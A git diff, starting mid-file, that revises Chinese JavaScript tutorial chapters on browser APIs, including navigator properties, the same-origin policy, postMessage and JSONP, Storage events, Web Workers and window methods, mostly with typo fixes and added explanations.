 ```javascript
 var params = new URLSearchParams('a=1&b=2');
@@ -589,4 +571,3 @@ for (var p of params.entries()) {}
 - [URL](https://developer.mozilla.org/en-US/docs/Web/API/URL), by MDN
 - [URLSearchParams](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams), by MDN
 - [Easy URL Manipulation with URLSearchParams](https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en), by Eric Bidelman
-
diff --git a/docs/bom/navigator.md b/docs/bom/navigator.md
index e968670..18476a7 100644
--- a/docs/bom/navigator.md
+++ b/docs/bom/navigator.md
@@ -6,7 +6,7 @@
 
 ### Navigator.userAgent
 
-`navigator.userAgent`属性返回浏览器的 User Agent 字符串，表示浏览器的厂商和版本信息。
+`navigator.userAgent`属性返回浏览器的 User Agent 字符串，表示用户设备信息，包含了浏览器的厂商、版本、操作系统等信息。
 
 下面是 Chrome 浏览器的`userAgent`。
 
@@ -22,7 +22,7 @@ navigator.userAgent
 ```javascript
 var ua = navigator.userAgent.toLowerCase();
 
-if (/mobi/i.test(ua)) {
+if (/mobi/.test(ua)) {
   // 手机浏览器
 } else {
   // 非手机浏览器
@@ -32,7 +32,7 @@ if (/mobi/i.test(ua)) {
 如果想要识别所有移动设备的浏览器，可以测试更多的特征字符串。
 
 ```javascript
-/mobi|android|touch|mini/i.test(ua)
+/mobi|android|touch|mini/.test(ua)
 ```
 
 ### Navigator.plugins
@@ -106,7 +106,7 @@ Geolocation 对象提供下面三个方法。
 
 ### Navigator.cookieEnabled
 
-`Navigator.cookieEnabled`属性返回一个布尔值，表示浏览器的 Cookie 功能是否打开。
+`navigator.cookieEnabled`属性返回一个布尔值，表示浏览器的 Cookie 功能是否打开。
 
 ```javascript
 navigator.cookieEnabled // true
@@ -118,7 +118,7 @@ navigator.cookieEnabled // true
 
 ### Navigator.javaEnabled()
 
-`Navigator.javaEnabled()`方法返回一个布尔值，表示浏览器是否能运行 Java Applet 小程序。
+`navigator.javaEnabled()`方法返回一个布尔值，表示浏览器是否能运行 Java Applet 小程序。
 
 ```javascript
 navigator.javaEnabled() // false
@@ -128,6 +128,73 @@ navigator.javaEnabled() // false
 
 `Navigator.sendBeacon()`方法用于向服务器异步发送数据，详见《XMLHttpRequest 对象》一章。
 
+## Navigator 的实验性属性
+
+Navigator 对象有一些实验性属性，在部分浏览器可用。
+
+### Navigator.deviceMemory
+
+`navigator.deviceMemory`属性返回当前计算机的内存数量（单位为 GB）。该属性只读，只在 HTTPS 环境下可用。
+
+它的返回值是一个近似值，四舍五入到最接近的2的幂，通常是 0.25、0.5、1、2、4、8。实际内存超过 8GB，也返回`8`。
+
+```javascript
+if (navigator.deviceMemory > 1) {
+  await import('./costly-module.js');
+}
+```
+
+上面示例中，只有当前内存大于 1GB，才加载大型的脚本。
+
+### Navigator.hardwareConcurrency
+
+`navigator.hardwareConcurrency`属性返回用户计算机上可用的逻辑处理器的数量。该属性只读。
+
+现代计算机的 CPU 有多个物理核心，每个物理核心有时支持一次运行多个线程。因此，四核 CPU 可以提供八个逻辑处理器核心。
+
+```javascript
+if (navigator.hardwareConcurrency > 4) {
+  await import('./costly-module.js');
+}
+```
+
+上面示例中，可用的逻辑处理器大于4，才会加载大型脚本。
+
+该属性通过用于创建 Web Worker，每个可用的逻辑处理器都创建一个 Worker。
+
+```javascript
+let workerList = [];
+
+for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
+  let newWorker = {
+    worker: new Worker('cpuworker.js'),
+    inUse: false
+  };
+  workerList.push(newWorker);
+}
+```
+
+上面示例中，有多少个可用的逻辑处理器，就创建多少个 Web Worker。
+
+### Navigator.connection
+
+`navigator.connection`属性返回一个对象，包含当前网络连接的相关信息。
+
+- downlink：有效带宽估计值（单位：兆比特/秒，Mbps），四舍五入到每秒 25KB 的最接近倍数。
+- downlinkMax：当前连接的最大下行链路速度（单位：兆比特每秒，Mbps）。
+- effectiveType：返回连接的等效类型，可能的值为`slow-2g`、`2g`、`3g`、`4g`。
+- rtt：当前连接的估计有效往返时间，四舍五入到最接近的25毫秒的倍数。
+- saveData：用户是否设置了浏览器的减少数据使用量选项（比如不加载图片），返回`true`或者`false`。
+- type：当前连接的介质类型，可能的值为`bluetooth`、`cellular`、`ethernet`、`none`、`wifi`、`wimax`、`other`、`unknown`。
+
+```javascript
+if (navigator.connection.effectiveType === '4g') {
+  await import('./costly-module.js');
+}
+```
+
+上面示例中，如果网络连接是 4G，则加载大型脚本。
+
 ## Screen 对象
 
 Screen 对象表示当前窗口所在的屏幕，提供显示设备的信息。`window.screen`属性指向这个对象。
@@ -140,7 +207,7 @@ Screen 对象表示当前窗口所在的屏幕，提供显示设备的信息。`
 - `Screen.availWidth`：浏览器窗口可用的屏幕宽度（单位像素）。
 - `Screen.pixelDepth`：整数，表示屏幕的色彩位数，比如`24`表示屏幕提供24位色彩。
 - `Screen.colorDepth`：`Screen.pixelDepth`的别名。严格地说，colorDepth 表示应用程序的颜色深度，pixelDepth 表示屏幕的颜色深度，绝大多数情况下，它们都是同一件事。
-- `Screen.orientation`：返回一个对象，表示屏幕的方向。该对象的`type`属性是一个字符串，表示屏幕的具体方向，`landscape-primary`表示横放，`landscape-secondary`表示颠倒的横放，`portrait-primary`表示竖放，`portrait-secondary`。
+- `Screen.orientation`：返回一个对象，表示屏幕的方向。该对象的`type`属性是一个字符串，表示屏幕的具体方向，`landscape-primary`表示横放，`landscape-secondary`表示颠倒的横放，`portrait-primary`表示竖放，`portrait-secondary`表示颠倒的竖放。
 
 下面是`Screen.orientation`的例子。
 
diff --git a/docs/bom/same-origin.md b/docs/bom/same-origin.md
index 4030725..4a11a0b 100644
--- a/docs/bom/same-origin.md
+++ b/docs/bom/same-origin.md
@@ -8,11 +8,11 @@
 
 1995年，同源政策由 Netscape 公司引入浏览器。目前，所有浏览器都实行这个政策。
 
-最初，它的含义是指，A 网页设置的 Cookie，B 网页不能打开，除非这两个网页“同源”。所谓“同源”指的是”三个相同“。
+最初，它的含义是指，A 网页设置的 Cookie，B 网页不能打开，除非这两个网页“同源”。所谓“同源”指的是“三个相同”。
 
 > - 协议相同
 > - 域名相同
-> - 端口相同
+> - 端口相同（这点可以忽略，详见下文）
 
 举例来说，`http://www.example.com/dir/page.html`这个网址，协议是`http://`，域名是`www.example.com`，端口是`80`（默认端口可以省略），它的同源情况如下。
 
@@ -22,11 +22,13 @@
 - `http://www.example.com:81/dir/other.html`：不同源（端口不同）
 - `https://www.example.com/dir/page.html`：不同源（协议不同）
 
+注意，标准规定端口不同的网址不是同源（比如8000端口和8001端口不是同源），但是浏览器没有遵守这条规定。实际上，同一个网域的不同端口，是可以互相读取 Cookie 的。
+
 ### 目的
 
 同源政策的目的，是为了保证用户信息的安全，防止恶意的网站窃取数据。
 
-设想这样一种情况：A 网站是一家银行，用户登录以后，A 网站在用户的机器上设置了一个 Cookie，包含了一些隐私信息（比如存款总额）。用户离开 A 网站以后，又去访问 B 网站，如果没有同源限制，B 网站可以读取 A 网站的 Cookie，那么隐私信息就会泄漏。更可怕的是，Cookie 往往用来保存用户的登录状态，如果用户没有退出登录，其他网站就可以冒充用户，为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。
+设想这样一种情况：A 网站是一家银行，用户登录以后，A 网站在用户的机器上设置了一个 Cookie，包含了一些隐私信息。用户离开 A 网站以后，又去访问 B 网站，如果没有同源限制，B 网站可以读取 A 网站的 Cookie，那么隐私就泄漏了。更可怕的是，Cookie 往往用来保存用户的登录状态，如果用户没有退出登录，其他网站就可以冒充用户，为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。
 
 由此可见，同源政策是必需的，否则 Cookie 可以共享，互联网就毫无安全可言了。
 
@@ -56,7 +58,7 @@
 - window.focus()
 - window.postMessage()
 
-上面的九个属性之中，只有`window.location`是可读写的，其他八个全部都是只读。而且，即使是`location`对象，非同源的情况下，也只允许调用`location.replace`方法和写入`location.href`属性。
+上面的九个属性之中，只有`window.location`是可读写的，其他八个全部都是只读。而且，即使是`location`对象，非同源的情况下，也只允许调用`location.replace()`方法和写入`location.href`属性。
 
 虽然这些限制是必要的，但是有时很不方便，合理的用途也受到影响。下面介绍如何规避上面的限制。
 
@@ -87,10 +89,10 @@ var allCookie = document.cookie;
 
 注意，这种方法只适用于 Cookie 和 iframe 窗口，LocalStorage 和 IndexedDB 无法通过这种方法，规避同源政策，而要使用下文介绍 PostMessage API。
 
-另外，服务器也可以在设置 Cookie 的时候，指定 Cookie 的所属域名为一级域名，比如`.example.com`。
+另外，服务器也可以在设置 Cookie 的时候，指定 Cookie 的所属域名为一级域名，比如`example.com`。
 
 ```http
-Set-Cookie: key=value; domain=.example.com; path=/
+Set-Cookie: key=value; domain=example.com; path=/
 ```
 
 这样的话，二级域名和三级域名不用做任何设置，都可以读取这个 Cookie。
@@ -192,7 +194,7 @@ window.addEventListener('message', function (e) {
 `message`事件的参数是事件对象`event`，提供以下三个属性。
 
 > - `event.source`：发送消息的窗口
-> - `event.origin`: 消息发向的网址
+> - `event.origin`: 消息发送者的源（origin），即协议、域名、端口。
 > - `event.data`: 消息内容
 
 下面的例子是，子窗口通过`event.source`属性引用父窗口，然后发送消息。
@@ -206,7 +208,7 @@ function receiveMessage(event) {
 
 上面代码有几个地方需要注意。首先，`receiveMessage`函数里面没有过滤信息的来源，任意网址发来的信息都会被处理。其次，`postMessage`方法中指定的目标窗口的网址是一个星号，表示该信息可以向任意网址发送。通常来说，这两种做法是不推荐的，因为不够安全，可能会被恶意利用。
 
-`event.origin`属性可以过滤不是发给本窗口的消息。
+`event.origin`属性可以过滤非许可地址发来的消息。
 
 ```javascript
 window.addEventListener('message', receiveMessage);
@@ -304,16 +306,28 @@ window.onmessage = function(e) {
 
 ### JSONP
 
-JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单适用，老式浏览器全部支持，服务端改造非常小。
+JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用，没有兼容性问题，老式浏览器全部支持，服务端改造非常小。
+
+它的做法如下。
+
+第一步，网页添加一个`<script>`元素，向服务器请求一个脚本，这不受同源政策限制，可以跨域请求。
+
+```html
+<script src="http://api.foo.com?callback=bar"></script>
+```
+
+注意，请求的脚本网址有一个`callback`参数（`?callback=bar`），用来告诉服务器，客户端的回调函数名称（`bar`）。
 
-它的基本思想是，网页通过添加一个`<script>`元素，向服务器请求 JSON 数据，这种做法不受同源政策限制；服务器收到请求后，将数据放在一个指定名字的回调函数里传回来。
+第二步，服务器收到请求后，拼接一个字符串，将 JSON 数据放在函数名里面，作为字符串返回（`bar({...})`）。
 
-首先，网页动态插入`<script>`元素，由它向跨源网址发出请求。
+第三步，客户端会将服务器返回的字符串，作为代码解析，因为浏览器认为，这是`<script>`标签请求的脚本内容。这时，客户端只要定义了`bar()`函数，就能在该函数体内，拿到服务器返回的 JSON 数据。
+
+下面看一个实例。首先，网页动态插入`<script>`元素，由它向跨域网址发出请求。
 
 ```javascript
 function addScriptTag(src) {
   var script = document.createElement('script');
-  script.setAttribute("type","text/javascript");
+  script.setAttribute('type', 'text/javascript');
   script.src = src;
   document.body.appendChild(script);
 }
@@ -333,7 +347,7 @@ function foo(data) {
 
 ```javascript
 foo({
-  "ip": "8.8.8.8"
+  'ip': '8.8.8.8'
 });
 ```
 
@@ -379,4 +393,3 @@ CORS 是跨源资源分享（Cross-Origin Resource Sharing）的缩写。它是
 - Mozilla Developer Network, [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/window.postMessage)
 - Jakub Jankiewicz, [Cross-Domain LocalStorage](http://jcubic.wordpress.com/2014/06/20/cross-domain-localstorage/)
 - David Baron, [setTimeout with a shorter delay](http://dbaron.org/log/20100309-faster-timeouts): 利用 window.postMessage 可以实现0毫秒触发回调函数
-
diff --git a/docs/bom/storage.md b/docs/bom/storage.md
index cb6f83a..2eb48d2 100644
--- a/docs/bom/storage.md
+++ b/docs/bom/storage.md
@@ -84,9 +84,9 @@ window.sessionStorage.clear()
 window.localStorage.clear()
 ```
 
-###  Storage.key()
+### Storage.key()
 
-`Storage.key()`接受一个整数作为参数（从零开始），返回该位置对应的键值。
+`Storage.key()`方法接受一个整数作为参数（从零开始），返回该位置对应的键名。
 
 ```javascript
 window.sessionStorage.setItem('key', 'value');
@@ -113,10 +113,9 @@ window.addEventListener('storage', onStorageChange);
 
 - `StorageEvent.key`：字符串，表示发生变动的键名。如果 storage 事件是由`clear()`方法引起，该属性返回`null`。
 - `StorageEvent.newValue`：字符串，表示新的键值。如果 storage 事件是由`clear()`方法或删除该键值对引发的，该属性返回`null`。
-- `Storage.oldValue`：字符串，表示旧的键值。如果该键值对是新增的，该属性返回`null`。
-- `Storage.storageArea`：对象，返回键值对所在的整个对象。也说是说，可以从这个属性上面拿到当前域名储存的所有键值对。
-- `Storage.url`：字符串，表示原始触发 storage 事件的那个网页的网址。
-
+- `StorageEvent.oldValue`：字符串，表示旧的键值。如果该键值对是新增的，该属性返回`null`。
+- `StorageEvent.storageArea`：对象，返回键值对所在的整个对象。也说是说，可以从这个属性上面拿到当前域名储存的所有键值对。
+- `StorageEvent.url`：字符串，表示原始触发 storage 事件的那个网页的网址。
 
 下面是`StorageEvent.key`属性的例子。
 
diff --git a/docs/bom/webworker.md b/docs/bom/webworker.md
index a9e0378..d005a8b 100644
--- a/docs/bom/webworker.md
+++ b/docs/bom/webworker.md
@@ -4,7 +4,7 @@
 
 JavaScript 语言采用的是单线程模型，也就是说，所有任务只能在一个线程上完成，一次只能做一件事。前面的任务没做完，后面的任务只能等着。随着电脑计算能力的增强，尤其是多核 CPU 的出现，单线程带来很大的不便，无法充分发挥计算机的计算能力。
 
-Web Worker 的作用，就是为 JavaScript 创造多线程环境，允许主线程创建 Worker 线程，将一些任务分配给后者运行。在主线程运行的同时，Worker 线程在后台运行，两者互不干扰。等到 Worker 线程完成计算任务，再把结果返回给主线程。这样的好处是，一些计算密集型或高延迟的任务，被 Worker 线程负担了，主线程（通常负责 UI 交互）就会很流畅，不会被阻塞或拖慢。
+Web Worker 的作用，就是为 JavaScript 创造多线程环境，允许主线程创建 Worker 线程，将一些任务分配给后者运行。在主线程运行的同时，Worker 线程在后台运行，两者互不干扰。等到 Worker 线程完成计算任务，再把结果返回给主线程。这样的好处是，一些计算密集型或高延迟的任务可以交由 Worker 线程执行，主线程（通常负责 UI 交互）能够保持流畅，不会被阻塞或拖慢。
 
 Worker 线程一旦新建成功，就会始终运行，不会被主线程上的活动（比如用户点击按钮、提交表单）打断。这样有利于随时响应主线程的通信。但是，这也造成了 Worker 比较耗费资源，不应该过度使用，而且一旦使用完毕，就应该关闭。
 
@@ -16,17 +16,21 @@ Web Worker 有以下几个使用注意点。
 
 （2）**DOM 限制**
 
-Worker 线程所在的全局对象，与主线程不一样，无法读取主线程所在网页的 DOM 对象，也无法使用`document`、`window`、`parent`这些对象。但是，Worker 线程可以`navigator`对象和`location`对象。
+Worker 线程所在的全局对象，与主线程不一样，无法读取主线程所在网页的 DOM 对象，也无法使用`document`、`window`、`parent`这些对象。但是，Worker 线程可以使用`navigator`对象和`location`对象。
 
-（3）**通信联系**
+（3）**全局对象限制**
+
+Worker 的全局对象`WorkerGlobalScope`，不同于网页的全局对象`Window`，很多接口拿不到。比如，理论上 Worker 线程不能使用`console.log`，因为标准里面没有提到 Worker 的全局对象存在`console`接口，只定义了`Navigator`接口和`Location`接口。不过，浏览器实际上支持 Worker 线程使用`console.log`，保险的做法还是不使用这个方法。
+
+（4）**通信联系**
 
 Worker 线程和主线程不在同一个上下文环境，它们不能直接通信，必须通过消息完成。
 
-（4）**脚本限制**
+（5）**脚本限制**
 
 Worker 线程不能执行`alert()`方法和`confirm()`方法，但可以使用 XMLHttpRequest 对象发出 AJAX 请求。
 
-（5）**文件限制**
+（6）**文件限制**
 
 Worker 线程无法读取本地文件，即不能打开本机的文件系统（`file://`），它所加载的脚本，必须来自网络。
 
@@ -55,8 +59,7 @@ worker.postMessage({method: 'echo', args: ['Work']});
 
 ```javascript
 worker.onmessage = function (event) {
-  console.log('Received message ' + event.data);
-  doSomething();
+  doSomething(event.data);
 }
 
 function doSomething() {
@@ -139,11 +142,11 @@ importScripts('script1.js', 'script2.js');
 主线程可以监听 Worker 是否发生错误。如果发生错误，Worker 会触发主线程的`error`事件。
 
 ```javascript
-worker.onerror(function (event) {
-  console.log([
-    'ERROR: Line ', e.lineno, ' in ', e.filename, ': ', e.message
-  ].join(''));
-});
+worker.onerror = function (event) {
+  console.log(
+    'ERROR: Line ', event.lineno, ' in ', event.filename, ': ', event.message
+  );
+};
 
 // 或者
 worker.addEventListener('error', function (event) {
@@ -238,7 +241,7 @@ worker.onmessage = function (e) {
 
 ```javascript
 function createWorker(f) {
-  var blob = new Blob([f.toString()]);
+  var blob = new Blob(['(' + f.toString() + ')()']);
   var url = window.URL.createObjectURL(blob);
   var worker = new Worker(url);
   return worker;
@@ -272,7 +275,7 @@ pollingWorker.postMessage('init');
 
 ## 实例： Worker 新建 Worker
 
-Worker 线程内部还能再新建 Worker 线程。下面的例子是将一个计算密集的任务，分配到10个 Worker。
+Worker 线程内部还能再新建 Worker 线程（目前只有 Firefox 浏览器支持）。下面的例子是将一个计算密集的任务，分配到10个 Worker。
 
 主线程代码如下。
 
@@ -378,8 +381,7 @@ Worker 线程有一些自己的全局属性和方法。
 - self.onmessage：指定`message`事件的监听函数。
 - self.onmessageerror：指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时，会触发这个事件。
 - self.close()：关闭 Worker 线程。
-- self.postMessage()：向产生这个 Worker 线程发送消息。
+- self.postMessage()：向产生这个 Worker 的线程发送消息。
 - self.importScripts()：加载 JS 脚本。
 
 （完）
-
diff --git a/docs/bom/window.md b/docs/bom/window.md
index 517cb17..a873fae 100644
--- a/docs/bom/window.md
+++ b/docs/bom/window.md
@@ -27,7 +27,7 @@ console.log(window.name)
 
 该属性只能保存字符串，如果写入的值不是字符串，会自动转成字符串。各个浏览器对这个值的储存容量有所不同，但是一般来说，可以高达几MB。
 
-只要浏览器窗口不关闭，这个属性是不会消失的。举例来说，访问`a.com`时，该页面的脚本设置了`window.name`，接下来在同一个窗口里面载入了`b.com`，新页面的脚本可以读到上一个网页设置的`window.name`。页面刷新也是这种情况。一旦浏览器窗口关闭后，该属性保存的值就会消失，因为这是窗口已经不存在了。
+只要浏览器窗口不关闭，这个属性是不会消失的。举例来说，访问`a.com`时，该页面的脚本设置了`window.name`，接下来在同一个窗口里面载入了`b.com`，新页面的脚本可以读到上一个网页设置的`window.name`。页面刷新也是这种情况。一旦浏览器窗口关闭后，该属性保存的值就会消失，因为这时窗口已经不存在了。
 
 ### window.closed，window.opener
 
@@ -55,7 +55,22 @@ window.open().opener === window // true
 
 上面表达式会打开一个新窗口，然后返回`true`。
 
-通过`opener`属性，可以获得父窗口的全局属性和方法，但只限于两个窗口同源的情况（参见《同源限制》一章），且其中一个窗口由另一个打开。`<a>`元素添加`rel="noopener"`属性，可以防止新打开的窗口获取父窗口。
+如果两个窗口之间不需要通信，建议将子窗口的`opener`属性显式设为`null`，这样可以减少一些安全隐患。
+
+```javascript
+var newWin = window.open('example.html', 'newWindow', 'height=400,width=400');
+newWin.opener = null;
+```
+
+上面代码中，子窗口的`opener`属性设为`null`，两个窗口之间就没办法再联系了。
+
+通过`opener`属性，可以获得父窗口的全局属性和方法，但只限于两个窗口同源的情况（参见《同源限制》一章），且其中一个窗口由另一个打开。`<a>`元素添加`rel="noopener"`属性，可以防止新打开的窗口获取父窗口，减轻被恶意网站修改父窗口 URL 的风险。
+
+```html
+<a href="https://an.evil.site" target="_blank" rel="noopener">
+恶意网站
+</a>
+```
 
 ### window.self，window.window
 
@@ -107,7 +122,7 @@ if (frameEl) {
 
 ### window.top，window.parent
 
-`window.top`属性指向最顶层窗口，主要用于在子窗口里面获取顶层的父窗口。
+`window.top`属性指向最顶层窗口，主要用于在框架窗口（frame）里面获取顶层窗口。
 
 `window.parent`属性指向父窗口。如果当前窗口没有父窗口，`window.parent`指向自身。
 
@@ -117,6 +132,8 @@ if (window.parent !== window.top) {
 }
 ```
 
+对于不包含框架的网页，这两个属性等同于`window`对象。
+
 ### window.status
 
 `window.status`属性用于读写浏览器状态栏的文本。但是，现在很多浏览器都不允许改写状态栏文本，所以使用这个方法不一定有效。
@@ -137,7 +154,7 @@ if (window.parent !== window.top) {
 
 `window.innerHeight`和`window.innerWidth`属性，返回网页在当前窗口中可见部分的高度和宽度，即“视口”（viewport）的大小（单位像素）。这两个属性只读。
 
-用户放大网页的时候（比如将网页从100%的大小放大为200%），这两个属性会变小。因为这时网页的像素大小不变（比如宽度还是960像素），只是每个像素占据的屏幕空间变大了，因为可见部分（视口）就变小了。
+用户放大网页的时候（比如将网页从100%的大小放大为200%），这两个属性会变小。因为这时网页的像素大小不变（比如宽度还是960像素），只是每个像素占据的屏幕空间变大了，因此可见部分（视口）就变小了。
 
 注意，这两个属性值包括滚动条的高度和宽度。
 
@@ -151,7 +168,7 @@ if (window.parent !== window.top) {
 
 注意，这两个属性的返回值不是整数，而是双精度浮点数。如果页面没有滚动，它们的值就是`0`。
 
-举例来说，如果用户向下拉动了垂直滚动条75像素，那么`window.pageYOffset`就是75左右。用户水平向右拉动水平滚动条200像素，`window.pageXOffset`就是200左右。
+举例来说，如果用户向下拉动了垂直滚动条75像素，那么`window.scrollY`就是75左右。用户水平向右拉动水平滚动条200像素，`window.scrollX`就是200左右。
 
 ```javascript
 if (window.scrollY < 75) {
@@ -171,7 +188,7 @@ if (window.scrollY < 75) {
 
 - `window.locationbar`：地址栏对象
 - `window.menubar`：菜单栏对象
-- `window.scrollbar`：窗口的滚动条对象
+- `window.scrollbars`：窗口的滚动条对象
 - `window.toolbar`：工具栏对象
 - `window.statusbar`：状态栏对象
 - `window.personalbar`：用户安装的个人工具栏对象
@@ -181,7 +198,7 @@ if (window.scrollY < 75) {
 ```javascript
 window.locationbar.visible
 window.menubar.visible
-window.scrollbar.visible
+window.scrollbars.visible
 window.toolbar.visible
 window.statusbar.visible
 window.personalbar.visible
@@ -220,7 +237,7 @@ window.alert('Hello World');
 
 用户只有点击“确定”按钮，对话框才会消失。对话框弹出期间，浏览器窗口处于冻结状态，如果不点“确定”按钮，用户什么也干不了。
 
-`window.alert()`方法的参数只能是字符串，没法使用CSS样式，但是可以用`\n`指定换行。
+`window.alert()`方法的参数只能是字符串，没法使用 CSS 样式，但是可以用`\n`指定换行。
 
 ```javascript
 alert('本条提示\n分成两行');
@@ -294,7 +311,7 @@ window.open(url, windowName, [windowFeatures])
 ```
 
 - `url`：字符串，表示新窗口的网址。如果省略，默认网址就是`about:blank`。
-- `windowName`：字符串，表示新窗口的名字。如果该名字的窗口已经存在，则占用该窗口，不再新建窗口。如果省略，就默认使用`_blank`，表示新建一个没有名字的窗口。
+- `windowName`：字符串，表示新窗口的名字。如果该名字的窗口已经存在，则占用该窗口，不再新建窗口。如果省略，就默认使用`_blank`，表示新建一个没有名字的窗口。另外还有几个预设值，`_self`表示当前窗口，`_top`表示顶层窗口，`_parent`表示上一层窗口。
 - `windowFeatures`：字符串，内容为逗号分隔的键值对（详见下文），表示新窗口的参数，比如有没有提示栏、工具条等等。如果省略，则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口，则该参数不起作用，浏览器沿用以前窗口的参数。
 
 下面是一个例子。
@@ -307,7 +324,7 @@ var popup = window.open(
 );
 ```
 
-上面代码表示，打开的新窗口高度和宽度都为200像素，没有地址栏和滚动条，但有状态栏，允许用户调整大小。
+上面代码表示，打开的新窗口高度和宽度都为200像素，没有地址栏，但有状态栏和滚动条，允许用户调整大小。
 
 第三个参数可以设定如下属性。
 
@@ -335,7 +352,13 @@ var popup = window.open(
 
 对于那些可以打开和关闭的属性，设为`yes`或`1`或不设任何值就表示打开，比如`status=yes`、`status=1`、`status`都会得到同样的结果。如果想设为关闭，不用写`no`，而是直接省略这个属性即可。也就是说，如果在第三个参数中设置了一部分属性，其他没有被设置的`yes/no`属性都会被设成`no`，只有`titlebar`和关闭按钮除外（它们的值默认为`yes`）。
 
-另外，`open`方法的第二个参数虽然可以指定已经存在的窗口，但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制，浏览器只有在两个窗口同源，或者目标窗口被当前网页打开的情况下，才允许`open`方法指向该窗口。
+上面这些属性，属性名与属性值之间用等号连接，属性与属性之间用逗号分隔。
+
+```javascript
+'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
+```
+
+另外，`open()`方法的第二个参数虽然可以指定已经存在的窗口，但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制，浏览器只有在两个窗口同源，或者目标窗口被当前网页打开的情况下，才允许`open`方法指向该窗口。
 
 `window.open`方法返回新窗口的引用。
 
@@ -344,7 +367,7 @@ var windowB = window.open('windowB.html', 'WindowB');
 windowB.window.name // "WindowB"
 ```
 
-注意，如果新窗口和父窗口不是同源的（即不在同一个域），它们彼此不能窗口对象获取对方的内部属性。
+注意，如果新窗口和父窗口不是同源的（即不在同一个域），它们彼此不能获取对方窗口对象的内部属性。
 
 下面是另一个例子。
 
@@ -393,7 +416,7 @@ window.moveTo(100, 200)
 
 上面代码将窗口移动到屏幕`(100, 200)`的位置。
 
-`window.moveBy`方法将窗口移动到一个相对位置。它接受两个参数，分布是窗口左上角向右移动的水平距离和向下移动的垂直距离，单位为像素。
+`window.moveBy()`方法将窗口移动到一个相对位置。它接受两个参数，分别是窗口左上角向右移动的水平距离和向下移动的垂直距离，单位为像素。
 
 ```javascript
 window.moveBy(25, 50)
@@ -401,7 +424,7 @@ window.moveBy(25, 50)
 
 上面代码将窗口向右移动25像素、向下移动50像素。
 
-为了防止有人滥用这两个方法，随意移动用户的窗口，目前只有一种情况，浏览器允许用脚本移动窗口：该窗口是用`window.open`方法新建的，并且它所在的 Tab 页是当前窗口里面唯一的。除此以外的情况，使用上面两个方法都是无效的。
+为了防止有人滥用这两个方法，随意移动用户的窗口，目前只有一种情况，浏览器允许用脚本移动窗口：该窗口是用`window.open()`方法新建的，并且窗口里只有它一个 Tab 页。除此以外的情况，使用上面两个方法都是无效的。
 
 ### window.resizeTo()，window.resizeBy()
 
@@ -517,7 +540,7 @@ if ((popup !== null) && !popup.closed) {
 var selObj = window.getSelection();
 ```
 
-使用`Selction`对象的`toString`方法可以得到选中的文本。
+使用`Selection`对象的`toString`方法可以得到选中的文本。
 
 ```javascript
 var selectedText = selObj.toString();
@@ -529,6 +552,91 @@ var selectedText = selObj.toString();
 
 `window.matchMedia()`方法用来检查 CSS 的`mediaQuery`语句，详见《CSS 操作》一章。
 
+### window.requestAnimationFrame()
+
+`window.requestAnimationFrame()`方法跟`setTimeout`类似，都是推迟某个函数的执行。不同之处在于，`setTimeout`必须指定推迟的时间，`window.requestAnimationFrame()`则是推迟到浏览器下一次重流时执行，执行完才会进行下一次重绘。重绘通常是 16ms 执行一次，不过浏览器会自动调节这个速率，比如网页切换到后台 Tab 页时，`requestAnimationFrame()`会暂停执行。
+
+如果某个函数会改变网页的布局，一般就放在`window.requestAnimationFrame()`里面执行，这样可以节省系统资源，使得网页效果更加平滑。因为慢速设备会用较慢的速率重流和重绘，而速度更快的设备会有更快的速率。
+
+该方法接受一个回调函数作为参数。
+
+```javascript
+window.requestAnimationFrame(callback)
+```
+
+上面代码中，`callback`是一个回调函数。`callback`执行时，它的参数就是系统传入的一个高精度时间戳（`performance.now()`的返回值），单位是毫秒，表示距离网页加载的时间。
+
+`window.requestAnimationFrame()`的返回值是一个整数，这个整数可以传入`window.cancelAnimationFrame()`，用来取消回调函数的执行。
+
+下面是一个`window.requestAnimationFrame()`执行网页动画的例子。
+
+```javascript
+var element = document.getElementById('animate');
+element.style.position = 'absolute';
+
+var start = null;
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  // 元素不断向右移，最大不超过200像素
+  element.style.left = Math.min(progress / 10, 200) + 'px';
+  // 如果距离第一次执行不超过 2000 毫秒，
+  // 就继续执行动画
+  if (progress < 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+```
+
+上面代码定义了一个网页动画，持续时间是2秒，会让元素向右移动。
+
+### window.requestIdleCallback()
+
+`window.requestIdleCallback()`跟`setTimeout`类似，也是将某个函数推迟执行，但是它保证将回调函数推迟到系统资源空闲时执行。也就是说，如果某个任务不是很关键，就可以使用`window.requestIdleCallback()`将其推迟执行，以保证网页性能。
+
+它跟`window.requestAnimationFrame()`的区别在于，后者指定回调函数在下一次浏览器重排时执行，问题在于下一次重排时，系统资源未必空闲，不一定能保证在16毫秒之内完成；`window.requestIdleCallback()`可以保证回调函数在系统资源空闲时执行。
+
+该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间，如果过了这个时间，回调函数不管系统资源有无空闲，都会执行。
+
+```javascript
+window.requestIdleCallback(callback[, options])
+```
+
+`callback`参数是一个回调函数。该回调函数执行时，系统会传入一个`IdleDeadline`对象作为参数。`IdleDeadline`对象有一个`didTimeout`属性（布尔值，表示是否为超时调用）和一个`timeRemaining()`方法（返回该空闲时段剩余的毫秒数）。
+
+`options`参数是一个配置对象，目前只有`timeout`一个属性，用来指定回调函数推迟执行的最大毫秒数。该参数可选。
+
+`window.requestIdleCallback()`方法返回一个整数。该整数可以传入`window.cancelIdleCallback()`取消回调函数。
+
+下面是一个例子。
+
+```javascript
+requestIdleCallback(myNonEssentialWork);
+
+function myNonEssentialWork(deadline) {
+  while (deadline.timeRemaining() > 0) {
+    doWorkIfNeeded();
+  }
+}
+```
+
